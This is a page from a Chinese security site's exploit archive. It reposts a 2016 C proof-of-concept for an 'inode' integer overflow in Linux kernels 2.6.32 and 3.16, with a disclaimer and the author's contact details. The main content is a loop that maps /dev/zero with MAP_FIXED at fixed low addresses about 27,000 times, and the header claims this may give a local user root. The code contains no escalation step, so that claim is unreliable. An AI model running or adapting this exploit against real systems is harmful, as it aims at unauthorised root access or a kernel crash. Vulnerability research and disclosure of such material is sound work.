首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux Kernel 2.6.32-642 / 3.16.0-4 - 'inode' Integer Overflow
来源:https://www.ethical-hacker.org/ 作者:Donev 发布时间:2016-11-24  
/*  Linux Kernel 2.6.32-642 / 3.16.0-4 'inode' Integer Overflow PoC
 
  The inode is a data structure in a Unix-style file system which describes a filesystem
  object such as a file or a directory. Each inode stores the attributes and disk block
  locations of the object's data. Filesystem object attributes may include metadata, as
  well as owner and permission data.
 
  INODE can be overflowed by mapping a single file too many times, allowing for a local
  user to possibly gain root access.
 
  Disclaimer:
  This or previous program is for Educational purpose ONLY. Do not  use it without permission.
  The usual disclaimer applies, especially the fact that Todor Donev is not liable for any
  damages caused by direct or indirect use of the information or functionality provided
  by these programs. The author or any Internet provider bears NO responsibility for content
  or misuse of these programs or any derivatives thereof. By using these programs you accept
  the fac that any damage (dataloss, system crash, system compromise, etc.) caused by the use
  of these programs is not Todor Donev's responsibility.
 
  Thanks to Maya Hristova and all friends.
 
  Suggestions,comments and job offers are welcome!
  
  Copyright 2016 (c) Todor Donev
  Varna, Bulgaria
  todor.donev@gmail.com
  https://www.ethical-hacker.org/
  https://www.facebook.com/ethicalhackerorg
  http://pastebin.com/u/hackerscommunity 
 
*/
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
void main(){
int fd, i;
fd = open("/dev/zero", O_RDONLY);
for(i = 0; i < 26999; i++){
mmap((char*)0x00000000 + (0x10000 * i), 1, PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0);
}
}
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Internet Explorer 8
·Chrome Blink SpeechRecognition
·Microsoft Internet Explorer 8
·Linux Kernel 2.6.18 move_pages
·TP-LINK TDDP - Multiple Vulner
·Linux Kernel 2.6.32-rc1 x86_64
·NTP 4.2.8p8 - Denial of Servic
·Linux Kernel 2.6.x pipe.c Priv
·ntpd 4.2.7.p22 / 4.3.0 Denial
·Linux Kernel 4.6.3 Netfilter P
·Dlink DIR Routers Unauthentica
·Microsoft Windows Kernel - 'wi
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved